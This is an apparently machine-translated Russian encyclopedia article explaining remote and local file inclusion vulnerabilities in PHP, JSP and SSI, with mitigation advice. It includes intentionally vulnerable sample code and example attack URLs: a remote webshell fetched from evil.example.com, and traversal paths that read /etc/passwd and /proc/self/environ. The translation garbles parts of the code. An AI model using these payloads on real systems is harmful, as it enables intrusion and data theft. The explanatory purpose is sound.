Уязвимость включения файлов — это тип веб- уязвимости , который чаще всего встречается в веб-приложениях , использующих время выполнения скриптов . Эта проблема возникает, когда приложение создает путь к исполняемому коду с использованием контролируемой злоумышленником переменной таким образом, что позволяет злоумышленнику контролировать, какой файл выполняется во время выполнения. Уязвимость включения файлов отличается от общей атаки обхода каталога тем, что обход каталога — это способ получения несанкционированного доступа к файловой системе , а уязвимость включения файлов нарушает способ загрузки кода приложением для выполнения. Успешная эксплуатация уязвимости включения файлов приведет к удаленному выполнению кода на веб-сервере , на котором запущено уязвимое веб-приложение. Злоумышленник может использовать удаленное выполнение кода для создания веб-оболочки на веб-сервере, которая может использоваться для порчи веб-сайта .
Включение удаленного файла ( RFI ) происходит, когда веб-приложение загружает и выполняет удаленный файл. Эти удаленные файлы обычно получаются в форме HTTP или FTP URI как параметр, предоставленный пользователем веб-приложению.
Локальное включение файлов ( LFI ) похоже на уязвимость удаленного включения файлов, за исключением того, что вместо включения удаленных файлов для выполнения могут быть включены только локальные файлы, т. е. файлы на текущем сервере. Эта проблема все еще может привести к удаленному выполнению кода путем включения файла, содержащего контролируемые злоумышленником данные, такие как журналы доступа веб-сервера.
В PHP основная причина заключается в использовании непроверенного пользовательского ввода с функцией файловой системы, которая включает файл для выполнения. Наиболее заметными являются операторы include
и require
. Большинство уязвимостей можно отнести к тому, что начинающие программисты не знакомы со всеми возможностями языка программирования PHP. В языке PHP есть директива, которая, если она включена, позволяет функциям файловой системы использовать URL для извлечения данных из удаленных местоположений. [1] Директива есть allow_url_fopen
в версиях PHP <= 4.3.4 и allow_url_include
с PHP 5.2.0. В PHP 5.x эта директива по умолчанию отключена, в предыдущих версиях она была включена по умолчанию. [2] Чтобы воспользоваться уязвимостью, злоумышленник изменит переменную, которая передается одной из этих функций, чтобы заставить ее включить вредоносный код с удаленного ресурса. Чтобы смягчить эту уязвимость, весь пользовательский ввод должен быть проверен перед использованием. [3] [4]
Рассмотрим этот PHP- скрипт, который включает файл, указанный в запросе:
<?php если ( isset ( $_GET [ 'язык' ])) { include ( $_GET [ 'язык' ] . '.php' ); } ?>
< form method = "get" > < select name = "language" > < option value = "english" > Английский </ option > < option value = "french" > Французский </ option > ... </ select > < input type = "отправить" > </ form >
Разработчик намеревался прочитать english.php
или french.php
, что изменит поведение приложения для отображения языка по выбору пользователя. Но можно ввести другой путь с помощью language
параметра.
/vulnerable.php?language=http://evil.example.com/webshell.txt?
- внедряет удаленно размещенный файл, содержащий вредоносный код (включение удаленного файла)/vulnerable.php?language=C:\\ftp\\upload\\exploit
- Выполняет код из уже загруженного файла под названием exploit.php
(уязвимость включения локального файла)/vulnerable.php?language=C:\\notes.txt%00
- пример использования метасимвола NULL для удаления суффикса, что позволяет получить доступ к файлам, отличным от . Такое использование инъекции нулевого байта было исправлено в PHP 5.3 и больше не может использоваться для атак LFI/RFI. [5].php
.php
/vulnerable.php?language=../../../../../etc/passwd%00
- позволяет злоумышленнику прочитать содержимое файла /etc/passwd
в Unix-подобной системе посредством атаки обхода каталога ./vulnerable.php?language=../../../../../proc/self/environ%00
- позволяет злоумышленнику прочитать содержимое файла /proc/self/environ
в Unix-подобной системе с помощью атаки обхода каталога . Злоумышленник может изменить заголовок HTTP (например, User-Agent
) в этой атаке, чтобы он был PHP-кодом для эксплуатации удаленного выполнения кода .Лучшим решением в этом случае является использование белого списка допустимых языковых параметров. Если нельзя использовать сильный метод проверки ввода, такой как белый список, то положитесь на фильтрацию ввода или проверку переданного пути, чтобы убедиться, что он не содержит непреднамеренных символов и шаблонов символов. Однако это может потребовать предвосхищения всех возможных проблемных комбинаций символов. Более безопасным решением является использование предопределенного оператора Switch/Case для определения того, какой файл следует включить, а не использование URL или параметра формы для динамической генерации пути.
JavaServer Pages (JSP) — это язык сценариев, который может включать файлы для выполнения во время выполнения.
Следующий скрипт уязвим к уязвимости включения файла:
<% String p = request.getParameter ( "p" ) ; @include file = " <%=" includes / " + p +" . jsp " %> " %>
/vulnerable.jsp?p=../../../../var/log/access.log%00
- В отличие от PHP, JSP по-прежнему подвержен инъекции нулевого байта, и этот параметр будет выполнять команды JSP, найденные в журнале доступа веб-сервера.Server Side Include встречается очень редко и обычно не включается на веб-сервере по умолчанию. Server-side include может использоваться для удаленного выполнения кода на уязвимом веб-сервере. [6]
Следующий код уязвим к уязвимости удаленного включения файлов:
<!DOCTYPE html> < html > < head > < title > Тестовый файл </ title > </ head > < body > <!--#include file="USER_LANGUAGE"--> </ body > </ html >
Приведенный выше код не является уязвимостью XSS , а скорее включает новый файл , который должен быть выполнен сервером.